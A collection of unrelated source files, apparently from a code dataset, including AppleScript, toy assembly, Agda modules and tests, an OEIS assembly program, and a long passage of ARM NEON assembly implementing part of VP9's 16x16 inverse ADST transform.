repeat while -i is less than or equal to textLength
set testChar to text i thru i of inputString
if whiteSpaceAsciiNumbers does not contain (ASCII number testChar) then
set endSpot to i
exit repeat
end if
set i to i - 1
end repeat
if -endSpot is equal to textLength then
if whiteSpaceAsciiNumbers contains (ASCII number testChar) then return ""
end if
set inputString to text 1 thru endSpot of inputString
set textLength to length of inputString
set newStart to 1
-- chop from beginning
set i to 1
repeat while i is less than or equal to textLength
set testChar to text i thru i of inputString
if whiteSpaceAsciiNumbers does not contain (ASCII number testChar) then
set newStart to i
exit repeat
end if
set i to i + 1
end repeat
set inputString to text newStart thru textLength of inputString
return inputString
end trimWhitespace
--------------------
-- END OF CODE
--------------------
|
csie/08asm/toy/part2.asm | dk00/old-stuff | 0 | 168535 | <filename>csie/08asm/toy/part2.asm
cnt0 lda rb,0 ;rb=0
lda r1,1 ;r1=1
bz r0,c4 ;goto c4
c3 ldi r2,ra ; r2=mem[ra]
add ra,ra,r1 ; ra++
sub rc,rc,r1 ; rc--
lda r3,1 ; r3=0x8000
c0 and r4,r3,r2 ; r4=r2&r3
shl r3,r3,r1 ; r3<<=1
bz r4,c1 ; if(!r4)
bz r0,c2 ;
c1 add rb,rb,r1 ; rb++
c2 bz r3,c4 ; while(r3)
bz r0,c0 ;
c4 bp rc,c3 ;while(rc)
jr rf ;return
|
src/SecondOrder/RelativeMonadMorphism.agda | cilinder/formaltt | 21 | 8448 | <reponame>cilinder/formaltt<filename>src/SecondOrder/RelativeMonadMorphism.agda
open import Agda.Primitive using (Level; lzero; lsuc; _⊔_)
open import Relation.Binary.PropositionalEquality using (_≡_; refl; setoid; cong; trans)
import Function.Equality
open import Relation.Binary using (Setoid)
open import Categories.Category
open import Categories.Functor
open import Categories.Category.Instance.Setoids
open import Categories.Monad.Relative
open import Categories.Category.Equivalence
open import Categories.Category.Cocartesian
module SecondOrder.RelativeMonadMorphism
{o ℓ e o′ ℓ′ e′ : Level}
{C : Category o ℓ e}
{D : Category o′ ℓ′ e′}
where
record RMonadMorph {J : Functor C D} (M M’ : Monad J) : Set (lsuc (o ⊔ ℓ′ ⊔ e′))
where
open Category D
open Monad
field
morph : ∀ {X} → (F₀ M X) ⇒ (F₀ M’ X)
law-unit : ∀ {X} → morph ∘ (unit M {X}) ≈ unit M’ {X}
law-extend : ∀ {X Y} {k : (Functor.F₀ J X) ⇒ (F₀ M Y)}
→ (morph {Y}) ∘ (extend M k)
≈ (extend M’ ((morph {Y}) ∘ k)) ∘ (morph {X})
-- here, the equality used is the equivalence relation between morphisms of the category D
|
programs/oeis/173/A173234.asm | neoneye/loda | 22 | 87601 | <filename>programs/oeis/173/A173234.asm
; A173234: Expansion of x*(1+3*x^2-2*x^3+2*x^4-x^5)/((1+x)*(x-1)^2*(x^2+1)^2).
; 0,1,1,3,1,2,3,5,2,3,5,7,3,4,7,9,4,5,9,11,5,6,11,13,6,7,13,15,7,8,15,17,8,9,17,19,9,10,19,21,10,11,21,23,11,12,23,25,12,13,25,27,13,14,27,29,14,15,29,31,15,16,31,33,16,17,33,35,17,18,35,37,18,19,37,39,19,20,39,41,20
mov $1,$0
add $0,1
div $0,2
mod $1,2
add $1,$0
dif $1,2
mov $0,$1
|
libsrc/_DEVELOPMENT/math/float/math32/c/sccz80/cm32_sccz80_fssqr_callee.asm | rjcorrig/z88dk | 0 | 166864 | <reponame>rjcorrig/z88dk
; float __fssqr_callee (float number)
SECTION code_clib
SECTION code_math
PUBLIC cm32_sccz80_fssqr_callee
EXTERN m32_fssqr_fastcall
; square (^2) sccz80 floats
;
; enter : stack = ret
; DEHL = sccz80_float number
;
; exit : DEHL = sccz80_float(number^2)
;
; uses : af, bc, de, hl, af'
DEFC cm32_sccz80_fssqr_callee = m32_fssqr_fastcall ; enter stack = ret
; DEHL = d32_float
; return DEHL = d32_float
|
test/Fail/Issue623A.agda | cruhland/agda | 1,989 | 11568 | open import Issue623.A
|
test/Fail/Issue2331.agda | shlevy/agda | 2 | 14267 | -- Andreas, 2017-07-26, issue #2331.
-- Andrea found a counterexample against the "usable decrease" feature:
open import Agda.Builtin.Size
data D (i : Size) : Set where
c : (j : Size< i) → D i
mutual
test : (i : Size) → D i → Set
test i (c j) = (k : Size< j) (l : Size< k) → helper i j k (c l)
helper : (i : Size) (j : Size< i) (k : Size< j) → D k → Set
helper i j k d = test k d
-- Should not termination check.
|
oeis/157/A157230.asm | neoneye/loda-programs | 11 | 85353 | ; A157230: Number of primitive inequivalent sublattices of square lattice having mirrors parallel to the diagonals of the unit cell of the parent lattice of index n.
; Submitted by <NAME>(s4)
; 0,0,1,1,1,1,1,2,1,1,1,2,1,1,2,2,1,1,1,2,2,1,1,4,1,1,1,2,1,2,1,2,2,1,2,2,1,1,2,4,1,2,1,2,2,1,1,4,1,1,2,2,1,1,2,4,2,1,1,4,1,1,2,2,2,2,1,2,2,2,1,4,1,1,2,2,2,2,1,4,1,1,1,4,2,1,2,4,1,2,2,2,2,1,2,4,1,1,2,2
add $0,1
mov $2,$0
lpb $0
cmp $3,$2
cmp $3,0
mul $3,$0
sub $0,1
pow $3,2
mod $3,$2
cmp $3,1
add $1,$3
lpe
mov $0,$1
div $0,2
|
programs/oeis/023/A023553.asm | jmorken/loda | 1 | 171487 | ; A023553: Convolution of natural numbers >= 3 and Lucas numbers.
; 3,13,29,58,106,186,317,531,879,1444,2360,3844,6247,10137,16433,26622,43110,69790,112961,182815,295843,478728,774644,1253448,2028171,3281701,5309957,8591746
mov $5,$0
mov $6,$0
add $6,1
lpb $6
mov $0,$5
sub $6,1
sub $0,$6
mov $3,2
mov $4,1
lpb $0
sub $0,1
mov $2,$3
add $2,5
mov $3,$4
add $4,$2
lpe
add $4,2
add $1,$4
lpe
|
vp9/common/arm/neon/vp9_iht16x16_add_neon_asm.asm | ittiamvpx/libvpx | 14 | 165601 | <reponame>ittiamvpx/libvpx<filename>vp9/common/arm/neon/vp9_iht16x16_add_neon_asm.asm
;
; Copyright (c) 2013 The WebM project authors. All Rights Reserved.
;
; Use of this source code is governed by a BSD-style license
; that can be found in the LICENSE file in the root of the source
; tree. An additional intellectual property rights grant can be found
; in the file PATENTS. All contributing project authors may
; be found in the AUTHORS file in the root of the source tree.
;
cospi_1_64 EQU 16364
cospi_2_64 EQU 16305
cospi_3_64 EQU 16207
cospi_4_64 EQU 16069
cospi_5_64 EQU 15893
cospi_6_64 EQU 15679
cospi_7_64 EQU 15426
cospi_8_64 EQU 15137
cospi_9_64 EQU 14811
cospi_10_64 EQU 14449
cospi_11_64 EQU 14053
cospi_12_64 EQU 13623
cospi_13_64 EQU 13160
cospi_14_64 EQU 12665
cospi_15_64 EQU 12140
cospi_16_64 EQU 11585
cospi_17_64 EQU 11003
cospi_18_64 EQU 10394
cospi_19_64 EQU 9760
cospi_20_64 EQU 9102
cospi_21_64 EQU 8423
cospi_22_64 EQU 7723
cospi_23_64 EQU 7005
cospi_24_64 EQU 6270
cospi_25_64 EQU 5520
cospi_26_64 EQU 4756
cospi_27_64 EQU 3981
cospi_28_64 EQU 3196
cospi_29_64 EQU 2404
cospi_30_64 EQU 1606
cospi_31_64 EQU 804
EXPORT |vp9_iadst16x16_256_add_neon_single_pass|
ARM
REQUIRE8
PRESERVE8
AREA ||.text||, CODE, READONLY, ALIGN=2
AREA Block, CODE, READONLY
;---------------------------------------------------------------------------
; Transpose a 8x8 16bit data matrix. Datas are loaded in q8-q15.
MACRO
TRANSPOSE8X8_Q8_TO_Q15
vswp d17, d24
vswp d23, d30
vswp d21, d28
vswp d19, d26
vtrn.32 q8, q10
vtrn.32 q9, q11
vtrn.32 q12, q14
vtrn.32 q13, q15
vtrn.16 q8, q9
vtrn.16 q10, q11
vtrn.16 q12, q13
vtrn.16 q14, q15
MEND
;---------------------------------------------------------------------------
; Transpose a 8x8 16bit data matrix. Datas are loaded in q0-q7.
MACRO
TRANSPOSE8X8_Q0_TO_Q7
vswp d1, d8
vswp d7, d14
vswp d5, d12
vswp d3, d10
vtrn.32 q0, q2
vtrn.32 q1, q3
vtrn.32 q4, q6
vtrn.32 q5, q7
vtrn.16 q0, q1
vtrn.16 q2, q3
vtrn.16 q4, q5
vtrn.16 q6, q7
MEND
; --------------------------------------------------------------------------
; $diff cannot be same as $ip1 or $ip2
MACRO
DO_BUTTERFLY_NO_COEFFS $ip1, $ip2, $sum, $diff
vsub.s16 $diff, $ip1, $ip2
vadd.s16 $sum, $ip1, $ip2
MEND
; --------------------------------------------------------------------------
; Touches q12, q15 and the input registers
; valid output registers are anything but q12, q15, $ip1, $ip2
; temp1 and temp2 are Q registers used as temporary registers
; temp1 cannot be same as output registers, q12, q15
; temp2 cannot be same as input registers, q12, q15
MACRO
DO_BUTTERFLY_SYM_COEFFS $ip1, $ip2, $ip3, $ip4, $constant, $op1, $op2, $op3, $op4, $temp1, $temp2
; generate scalar constants
mov r8, #$constant & 0xFF00
add r8, #$constant & 0x00FF
vdup.16 $op4, r8
vmull.s16 q12, $ip1, $op4
vmull.s16 q15, $ip3, $op4
vadd.s32 $temp2, q12, q15
vsub.s32 q12, q12, q15
vqrshrn.s32 $op1, $temp2, #14
vqrshrn.s32 $op3, q12, #14
vdup.16 $op4, r8
vmull.s16 q12, $ip2, $op4
vmull.s16 q15, $ip4, $op4
vadd.s32 $temp1, q12, q15
vsub.s32 q12, q12, q15
vqrshrn.s32 $op2, $temp1, #14
vqrshrn.s32 $op4, q12, #14
MEND
; --------------------------------------------------------------------------
; BUTTERFLY for DST
; Touches q12, q14
; valid output registers are anything but q12 ,q14, $ip1, $ip2, $ip3, $ip4
MACRO
DO_BUTTERFLY_DST $ip1, $ip2, $ip3, $ip4, $first_constant, $second_constant, $op1, $op2, $op3, $op4
; generate the constants
mov r8, #$first_constant & 0xFF00
mov r12, #$second_constant & 0xFF00
add r8, #$first_constant & 0x00FF
add r12, #$second_constant & 0x00FF
; generate vector constants
vdup.16 d28, r8
vdup.16 d29, r12
; do some multiplications (ordered for maximum latency hiding)
vmull.s16 $op1, $ip1, d28
vmull.s16 $op3, $ip3, d29
vmull.s16 $op2, $ip2, d28
vmull.s16 $op4, $ip4, d29
vmull.s16 q12, $ip1, d29
vsub.s32 $op1, $op1, $op3
vsub.s32 $op2, $op2, $op4
; do more multiplications (ordered for maximum latency hiding)
vmull.s16 $op3, $ip3, d28
vmull.s16 $op4, $ip2, d29
vmull.s16 q14, $ip4, d28
; do more addition/subtractions
vadd.s32 $op3, $op3, q12
vadd.s32 $op4, $op4, q14
MEND
; --------------------------------------------------------------------------
; BUTTERFLY and ROUND SHIFT for DST
; Touches q12, q14
; valid output registers are anything but q12 ,q14, $ip1 or $ip2
; modifies values of $ip1 and $ip2
MACRO
DO_DUAL_BUTTERFLY_NO_COEFFS $ip1, $ip2, $ip3, $ip4, $op1, $op2, $op3, $op4
vadd.s32 q12, $ip1, $ip3
vadd.s32 q14, $ip2, $ip4
vsub.s32 $ip1, $ip1, $ip3
vsub.s32 $ip2, $ip2, $ip4
vqrshrn.s32 $op1, q12, #14
vqrshrn.s32 $op2, q14, #14
vqrshrn.s32 $op3, $ip1, #14
vqrshrn.s32 $op4, $ip2, #14
MEND
;---------------------------------------------------------------------------
; Performs ADST for a 8x16 buffer
; This function should be called twice for full 16x16 transform
;
; vp9_iadst16x16_256_add_neon_single_pass(const int16_t *src,
; int16_t *temp_buffer,
; int do_adding,
; void *dest,
; int dest_stride);
;
; r0 = const int16_t *src
; r1 = int16_t *temp_buffer
; r2 = int do_adding (Boolean flag '0' or '1')
; r3 = void *dest
; r5 = int dest_stride
;
; The output pointer *dest points to
; int16_t* when processed for row transform
; uint8_t* when processed for column transform
|vp9_iadst16x16_256_add_neon_single_pass| PROC
push {r4-r12, lr} ; push registers to stack
; load 8 rows 16 cols
mov r11, r0
vld1.64 q0, [r11]!
vld1.64 q8, [r11]!
vld1.64 q1, [r11]!
vld1.64 q9, [r11]!
vld1.64 q2, [r11]!
vld1.64 q10, [r11]!
vld1.64 q3, [r11]!
vld1.64 q11, [r11]!
vld1.64 q4, [r11]!
vld1.64 q12, [r11]!
vld1.64 q5, [r11]!
vld1.64 q13, [r11]!
vld1.64 q6, [r11]!
vld1.64 q14, [r11]!
vld1.64 q7, [r11]!
vld1.64 q15, [r11]!
TRANSPOSE8X8_Q0_TO_Q7
TRANSPOSE8X8_Q8_TO_Q15
; store x4,x5,x6,x7,x12,x13,x14 and x15 to intermediate buffer
mov r11, r1
vst1.64 {q1}, [r11]!
vst1.64 {q3}, [r11]!
vst1.64 {q4}, [r11]!
vst1.64 {q6}, [r11]!
vst1.64 {q9}, [r11]!
vst1.64 {q11}, [r11]!
vst1.64 {q12}, [r11]!
vst1.64 {q14}, [r11]!
; stage 1 for x0,x1,x2,x3,x8,x9,x10 and x11
; s0 = x0 * cospi_1_64 + x1 * cospi_31_64;
; s1 = x0 * cospi_31_64 - x1 * cospi_1_64;
DO_BUTTERFLY_DST d30, d31, d0, d1, cospi_31_64, cospi_1_64, q1, q3, q4, q6
; s8 = x8 * cospi_17_64 + x9 * cospi_15_64;
; s9 = x8 * cospi_15_64 - x9 * cospi_17_64;
DO_BUTTERFLY_DST d14, d15, d16, d17, cospi_15_64, cospi_17_64, q9, q11, q15, q0
; x0 = dct_const_round_shift(s0 + s8);
; x8 = dct_const_round_shift(s0 - s8);
DO_DUAL_BUTTERFLY_NO_COEFFS q4, q6, q15, q0, d14, d15, d16, d17
; x1 = dct_const_round_shift(s1 + s9);
; x9 = dct_const_round_shift(s1 - s9);
DO_DUAL_BUTTERFLY_NO_COEFFS q1, q3, q9, q11, d8, d9, d12, d13
; s2 = x2 * cospi_5_64 + x3 * cospi_27_64;
; s3 = x2 * cospi_27_64 - x3 * cospi_5_64;
DO_BUTTERFLY_DST d26, d27, d4, d5, cospi_27_64, cospi_5_64, q1, q3, q9, q11
; s10 = x10 * cospi_21_64 + x11 * cospi_11_64;
; s11 = x10 * cospi_11_64 - x11 * cospi_21_64;
DO_BUTTERFLY_DST d10, d11, d20, d21, cospi_11_64, cospi_21_64, q13, q2, q0, q15
; x10 = dct_const_round_shift(s2 - s10);
; x2 = dct_const_round_shift(s2 + s10);
DO_DUAL_BUTTERFLY_NO_COEFFS q9, q11, q0, q15, d10, d11, d20, d21
; x11 = dct_const_round_shift(s3 - s11);
; x3 = dct_const_round_shift(s3 + s11);
DO_DUAL_BUTTERFLY_NO_COEFFS q1, q3, q13, q2, d18, d19, d22, d23
; store for x0,x1,x2,x3,x8,x9,x10 and x11 to
; intermediate buffer after stage 1
vst1.64 {q7}, [r11]!
vst1.64 {q4}, [r11]!
vst1.64 {q5}, [r11]!
vst1.64 {q9}, [r11]!
vst1.64 {q8}, [r11]!
vst1.64 {q6}, [r11]!
vst1.64 {q10}, [r11]!
vst1.64 {q11}, [r11]!
; load x4,x5,x6,x7,x12,x13,x14 and x15 from intermediate buffer
mov r11, r1
vld1.64 q5, [r11]!
vld1.64 q7, [r11]!
vld1.64 q0, [r11]!
vld1.64 q2, [r11]!
vld1.64 q13, [r11]!
vld1.64 q15, [r11]!
vld1.64 q8, [r11]!
vld1.64 q10, [r11]!
; stage 1 for x4,x5,x6,x7,x12,x13,x14 and x15
; s4 = x4 * cospi_9_64 + x5 * cospi_23_64;
; s5 = x4 * cospi_23_64 - x5 * cospi_9_64;
DO_BUTTERFLY_DST d30, d31, d0, d1, cospi_23_64, cospi_9_64, q1, q3, q4, q6
; s12 = x12 * cospi_25_64 + x13 * cospi_7_64;
; s13 = x12 * cospi_7_64 - x13 * cospi_25_64;
DO_BUTTERFLY_DST d14, d15, d16, d17, cospi_7_64, cospi_25_64, q9, q11, q15, q0
; x4 = dct_const_round_shift(s4 + s12);
; x12 = dct_const_round_shift(s4 - s12);
DO_DUAL_BUTTERFLY_NO_COEFFS q4, q6, q15, q0, d14, d15, d16, d17
; x5 = dct_const_round_shift(s5 + s13);
; x13 = dct_const_round_shift(s5 - s13);
DO_DUAL_BUTTERFLY_NO_COEFFS q1, q3, q9, q11, d8, d9, d12, d13
; s6 = x6 * cospi_13_64 + x7 * cospi_19_64;
; s7 = x6 * cospi_19_64 - x7 * cospi_13_64;
DO_BUTTERFLY_DST d26, d27, d4, d5, cospi_19_64, cospi_13_64, q1, q3, q9, q11
; s14 = x14 * cospi_29_64 + x15 * cospi_3_64;
; s15 = x14 * cospi_3_64 - x15 * cospi_29_64;
DO_BUTTERFLY_DST d10, d11, d20, d21, cospi_3_64, cospi_29_64, q13, q2, q0, q15
; x6 = dct_const_round_shift(s6 + s14);
; x14 = dct_const_round_shift(s6 - s14);
DO_DUAL_BUTTERFLY_NO_COEFFS q9, q11, q0, q15, d10, d11, d20, d21
; x7 = dct_const_round_shift(s7 + s15);
; x15 = dct_const_round_shift(s7 - s15);
DO_DUAL_BUTTERFLY_NO_COEFFS q1, q3, q13, q2, d18, d19, d22, d23
mov r11, r1
; store x4 - x7 to intermediate buffer
vst1.64 {q7}, [r11]!
vst1.64 {q4}, [r11]!
vst1.64 {q5}, [r11]!
vst1.64 {q9}, [r11]!
; load x8 - x11 from intermediate buffer
add r11, r11, #128
vld1.64 q0, [r11]!
vld1.64 q1, [r11]!
vld1.64 q2, [r11]!
vld1.64 q3, [r11]!
; stage 2 for x8,x9,x10,x11,x12,x13,x14 and x15
; s8 = x8 * cospi_4_64 + x9 * cospi_28_64;
; s9 = x8 * cospi_28_64 - x9 * cospi_4_64;
DO_BUTTERFLY_DST d0, d1, d2, d3, cospi_28_64, cospi_4_64, q4, q5, q7, q9
; s12 = -x12 * cospi_28_64 + x13 * cospi_4_64;
; s13 = x12 * cospi_4_64 + x13 * cospi_28_64;
DO_BUTTERFLY_DST d12, d13, d16, d17, cospi_4_64, cospi_28_64, q13, q15, q0, q1
; x8 = dct_const_round_shift(s8 + s12);
; x12 = dct_const_round_shift(s8 - s12);
DO_DUAL_BUTTERFLY_NO_COEFFS q7, q9, q13, q15, d12, d13, d16, d17
; x9 = dct_const_round_shift(s9 + s13);
; x13 = dct_const_round_shift(s9 - s13);
DO_DUAL_BUTTERFLY_NO_COEFFS q4, q5, q0, q1, d14, d15, d18, d19
; s10 = x10 * cospi_20_64 + x11 * cospi_12_64;
; s11 = x10 * cospi_12_64 - x11 * cospi_20_64;
DO_BUTTERFLY_DST d4, d5, d6, d7, cospi_12_64, cospi_20_64, q4, q5, q0, q1
; s14 = -x14 * cospi_12_64 + x15 * cospi_20_64;
; s15 = x14 * cospi_20_64 + x15 * cospi_12_64;
DO_BUTTERFLY_DST d22, d23, d20, d21, cospi_20_64, cospi_12_64, q2, q3, q13, q15
; x10 = dct_const_round_shift(s10 + s14);
; x14 = dct_const_round_shift(s10 - s14);
DO_DUAL_BUTTERFLY_NO_COEFFS q0, q1, q2, q3, d22, d23, d20, d21
; x15 = dct_const_round_shift(s11 - s15);
; x11 = dct_const_round_shift(s11 + s15);
DO_DUAL_BUTTERFLY_NO_COEFFS q4, q5, q13, q15, d0, d1, d2, d3
; stage 3 for x8,x9,x10,x11,x12,x13,x14 and x15
; s12 = x12 * cospi_8_64 + x13 * cospi_24_64;
; s13 = x12 * cospi_24_64 - x13 * cospi_8_64;
DO_BUTTERFLY_DST d16, d17, d18, d19, cospi_24_64, cospi_8_64, q2, q3, q4, q5
; s14 = -x14 * cospi_24_64 + x15 * cospi_8_64;
; s15 = x14 * cospi_8_64 + x15 * cospi_24_64;
DO_BUTTERFLY_DST d2, d3, d20, d21, cospi_8_64, cospi_24_64, q8, q9, q13, q15
; x12 = dct_const_round_shift(s12 + s14);
; x14 = dct_const_round_shift(s12 - s14);
DO_DUAL_BUTTERFLY_NO_COEFFS q4, q5, q8, q9, d20, d21, d2, d3
; x13 = dct_const_round_shift(s13 + s15);
; x15 = dct_const_round_shift(s13 - s15);
DO_DUAL_BUTTERFLY_NO_COEFFS q2, q3, q13, q15, d8, d9, d10, d11
; x8 = s8 + s10;
; x9 = s9 + s11;
; x10 = s8 - s10;
; x11 = s9 - s11;
DO_BUTTERFLY_NO_COEFFS q6, q11, q2, q3
DO_BUTTERFLY_NO_COEFFS q7, q0, q8, q9
; stage 4 for x8,x9,x10,x11,x12,x13,x14 and x15
; s10 = cospi_16_64 * ( x10 + x11);
; s11 = cospi_16_64 * (-x10 + x11);
; x10 = dct_const_round_shift(s10);
; x11 = dct_const_round_shift(s11);
DO_BUTTERFLY_SYM_COEFFS d18, d19, d6, d7, cospi_16_64, d0, d1, d14, d15, q3, q7
; s14 = -cospi_16_64 * (x14 + x15);
; s15 = cospi_16_64 * (x14 - x15);
; x14 = dct_const_round_shift(s14);
; x15 = dct_const_round_shift(s15);
DO_BUTTERFLY_SYM_COEFFS d10, d11, d2, d3, -cospi_16_64, d12, d13, d22, d23, q1, q11
ldr r5, [sp,#40] ; Loads dest_stride
cmp r2, #0
beq skip_adding_dest1 ; first pass
mov r10, r3 ; for laod
vneg.s16 q2, q2
mov r11, r3 ; for store
add r10, r10, r5
add r11, r11, r5
vld1.64 {d2}, [r10], r5 ; load destination data,output[1]
vrshr.s16 q2, q2, #6
vaddw.u8 q2, q2, d2 ; + dest[j * dest_stride + i]
vqmovun.s16 d2, q2 ; clip pixel
vst1.64 {d2}, [r11], r5 ; store the data, output[1]
vld1.64 {d2}, [r10], r5 ; load destination data,output[2]
vrshr.s16 q2, q10, #6
vaddw.u8 q2, q2, d2 ; + dest[j * dest_stride + i]
vqmovun.s16 d2, q2 ; clip pixel
vst1.64 {d2}, [r11], r5 ; store the data, output[2]
add r10, r10, r5, lsl #1
add r11, r11, r5, lsl #1
vneg.s16 q4, q4
vld1.64 {d2}, [r10], r5 ; load destination data,output[5]
vrshr.s16 q2, q6, #6
vaddw.u8 q2, q2, d2 ; + dest[j * dest_stride + i]
vqmovun.s16 d2, q2 ; clip pixel
vst1.64 {d2}, [r11], r5 ; store the data, output[5]
vld1.64 {d2}, [r10], r5 ; load destination data,output[6]
vrshr.s16 q2, q0, #6
vaddw.u8 q2, q2, d2 ; + dest[j * dest_stride + i]
vqmovun.s16 d2, q2 ; clip pixel
vst1.64 {d2}, [r11], r5 ; store the data, output[6]
add r10, r10, r5, lsl #1
add r11, r11, r5, lsl #1
vld1.64 {d2}, [r10], r5 ; load destination data,output[5]
vrshr.s16 q2, q7, #6
vaddw.u8 q2, q2, d2 ; + dest[j * dest_stride + i]
vqmovun.s16 d2, q2 ; clip pixel
vst1.64 {d2}, [r11], r5 ; store the data, output[5]
vld1.64 {d2}, [r10], r5 ; load destination data,output[6]
vrshr.s16 q2, q11, #6
vaddw.u8 q2, q2, d2 ; + dest[j * dest_stride + i]
vqmovun.s16 d2, q2 ; clip pixel
vst1.64 {d2}, [r11], r5 ; store the data, output[6]
add r10, r10, r5, lsl #1
add r11, r11, r5, lsl #1
vld1.64 {d2}, [r10], r5 ; load destination data,output[5]
vrshr.s16 q2, q4, #6
vaddw.u8 q2, q2, d2 ; + dest[j * dest_stride + i]
vqmovun.s16 d2, q2 ; clip pixel
vst1.64 {d2}, [r11], r5 ; store the data, output[5]
vld1.64 {d2}, [r10], r5 ; load destination data,output[6]
vrshr.s16 q2, q8, #6
vaddw.u8 q2, q2, d2 ; + dest[j * dest_stride + i]
vqmovun.s16 d2, q2 ; clip pixel
vst1.64 {d2}, [r11], r5 ; store the data, output[6]
b stage2_for_x0_x7
skip_adding_dest1
vneg.s16 q2, q2
mov r11, r3
add r11, r11, r5
vst1.64 {q2}, [r11], r5 ; output[1] = -x8;
vst1.64 {q10}, [r11], r5 ; output[2] = x12;
add r11, r11, r5, lsl #1
vneg.s16 q4, q4
vst1.64 {q6}, [r11], r5 ; output[5] = x14;
vst1.64 {q0}, [r11], r5 ; output[6] = x10;
add r11, r11, r5, lsl #1
vst1.64 {q7}, [r11], r5 ; output[9] = x11;
vst1.64 {q11}, [r11], r5 ; output[10] = x15;
add r11, r11, r5, lsl #1
vst1.64 {q4}, [r11], r5 ; output[13] = -x13;
vst1.64 {q8}, [r11], r5 ; output[14] = x9;
stage2_for_x0_x7
; stage 2 for x0,x1,x2,x3,x4,x5,x6 and x7
; load x4-x7
mov r11, r1
vld1.64 {q2}, [r11]!
vld1.64 {q3}, [r11]!
vld1.64 {q4}, [r11]!
vld1.64 {q5}, [r11]!
; load x0-x3
add r11, r11, #64
vld1.64 q12, [r11]!
vld1.64 q13, [r11]!
vld1.64 q14, [r11]!
vld1.64 q15, [r11]!
; x0 = s0 + s4;
; x1 = s1 + s5;
; x2 = s2 + s6;
; x3 = s3 + s7;
; x4 = s0 - s4;
; x5 = s1 - s5;
; x6 = s2 - s6;
; x7 = s3 - s7;
DO_BUTTERFLY_NO_COEFFS q12, q2, q6, q8
DO_BUTTERFLY_NO_COEFFS q13, q3, q7, q9
DO_BUTTERFLY_NO_COEFFS q14, q4, q11, q10
DO_BUTTERFLY_NO_COEFFS q15, q5, q0, q1
; stage 3 for x0,x1,x2,x3,x4,x5,x6 and x7
; s4 = x4 * cospi_8_64 + x5 * cospi_24_64;
; s5 = x4 * cospi_24_64 - x5 * cospi_8_64;
DO_BUTTERFLY_DST d16, d17, d18, d19, cospi_24_64, cospi_8_64, q2, q3, q4, q5
; s6 = -x6 * cospi_24_64 + x7 * cospi_8_64;
; s7 = x6 * cospi_8_64 + x7 * cospi_24_64;
DO_BUTTERFLY_DST d2, d3, d20, d21, cospi_8_64, cospi_24_64, q8, q9, q13, q15
; x4 = dct_const_round_shift(s4 + s6);
; x6 = dct_const_round_shift(s4 - s6);
DO_DUAL_BUTTERFLY_NO_COEFFS q4, q5, q8, q9, d20, d21, d2, d3
; x5 = dct_const_round_shift(s5 + s7);
; x7 = dct_const_round_shift(s5 - s7);
DO_DUAL_BUTTERFLY_NO_COEFFS q2, q3, q13, q15, d8, d9, d10, d11
; x0 = s0 + s2;
; x1 = s1 + s3;
; x2 = s0 - s2;
; x3 = s1 - s3;
DO_BUTTERFLY_NO_COEFFS q6, q11, q2, q3
DO_BUTTERFLY_NO_COEFFS q7, q0, q8, q9
; stage 4 for for x0,x1,x2,x3,x4,x5,x6 and x7
; s6 = cospi_16_64 * (x6 + x7);
; s7 = cospi_16_64 * (- x6 + x7);
; x6 = dct_const_round_shift(s6);
; x7 = dct_const_round_shift(s7);
DO_BUTTERFLY_SYM_COEFFS d10, d11, d2, d3, cospi_16_64, d0, d1, d14, d15, q5, q7
; s2 = -cospi_16_64 * (x2 + x3);
; s3 = cospi_16_64 * (x2 - x3);
; x2 = dct_const_round_shift(s2);
; x3 = dct_const_round_shift(s3);
DO_BUTTERFLY_SYM_COEFFS d18, d19, d6, d7, -cospi_16_64, d12, d13, d22, d23, q3, q11
cmp r2, #0
beq skip_adding_dest2
mov r10, r3 ; for load
vneg.s16 q10, q10
mov r11, r3 ; for store
vld1.64 {d2}, [r10], r5 ; load destination data,output[0]
vrshr.s16 q2, q2, #6
vaddw.u8 q2, q2, d2 ; + dest[j * dest_stride + i]
vqmovun.s16 d2, q2 ; clip pixel
vst1.64 {d2}, [r11], r5 ; store the data, output[0]
add r10, r10, r5, lsl #1
add r11, r11, r5, lsl #1
vld1.64 {d2}, [r10], r5 ; load destination data,output[3]
vrshr.s16 q2, q10, #6
vaddw.u8 q2, q2, d2 ; + dest[j * dest_stride + i]
vqmovun.s16 d2, q2 ; clip pixel
vst1.64 {d2}, [r11], r5 ; store the data, output[3]
vld1.64 {d2}, [r10], r5 ; load destination data,output[4]
vrshr.s16 q2, q0, #6
vaddw.u8 q2, q2, d2 ; + dest[j * dest_stride + i]
vqmovun.s16 d2, q2 ; clip pixel
vst1.64 {d2}, [r11], r5 ; store the data, output[4]
add r10, r10, r5, lsl #1
add r11, r11, r5, lsl #1
vld1.64 {d2}, [r10], r5 ; load destination data,output[7]
vrshr.s16 q2, q6, #6
vaddw.u8 q2, q2, d2 ; + dest[j * dest_stride + i]
vqmovun.s16 d2, q2 ; clip pixel
vst1.64 {d2}, [r11], r5 ; store the data, output[3]
vld1.64 {d2}, [r10], r5 ; load destination data,output[8]
vrshr.s16 q2, q11, #6
vaddw.u8 q2, q2, d2 ; + dest[j * dest_stride + i]
vqmovun.s16 d2, q2 ; clip pixel
vst1.64 {d2}, [r11], r5 ; store the data, output[8]
vneg.s16 q8, q8
add r10, r10, r5, lsl #1
add r11, r11, r5, lsl #1
vld1.64 {d2}, [r10], r5 ; load destinatin data,output[11]
vrshr.s16 q2, q7, #6
vaddw.u8 q2, q2, d2 ; + dest[j * dest_stride + i]
vqmovun.s16 d2, q2 ; clip pixel
vst1.64 {d2}, [r11], r5 ; store the data, output[1]
vld1.64 {d2}, [r10], r5 ; load destinatin data,output[12]
vrshr.s16 q2, q4, #6
vaddw.u8 q2, q2, d2 ; + dest[j * dest_stride + i]
vqmovun.s16 d2, q2 ; clip pixel
vst1.64 {d2}, [r11], r5 ; store the data, output[12]
add r10, r10, r5, lsl #1
add r11, r11, r5, lsl #1
vld1.64 {d2}, [r10], r5 ; load destinatin data,output[15]
vrshr.s16 q2, q8, #6
vaddw.u8 q2, q2, d2 ; + dest[j * dest_stride + i]
vqmovun.s16 d2, q2 ; clip pixel
vst1.64 {d2}, [r11], r5 ; store the data, output[15]
b endfunction
skip_adding_dest2
vneg.s16 q10, q10
mov r11, r3
vst1.64 {q2}, [r11], r5 ; output[0] = x0;
add r11, r11, r5, lsl #1
vst1.64 {q10}, [r11], r5 ; output[3] = -x4;
vst1.64 {q0}, [r11], r5 ; output[4] = x6;
add r11, r11, r5, lsl #1
vst1.64 {q6}, [r11], r5 ; output[7] = x2;
vst1.64 {q11}, [r11], r5 ; output[8] = x3;
vneg.s16 q8, q8
add r11, r11, r5, lsl #1
vst1.64 {q7}, [r11], r5 ; output[11] = x7;
vst1.64 {q4}, [r11], r5 ; output[12] = x5;
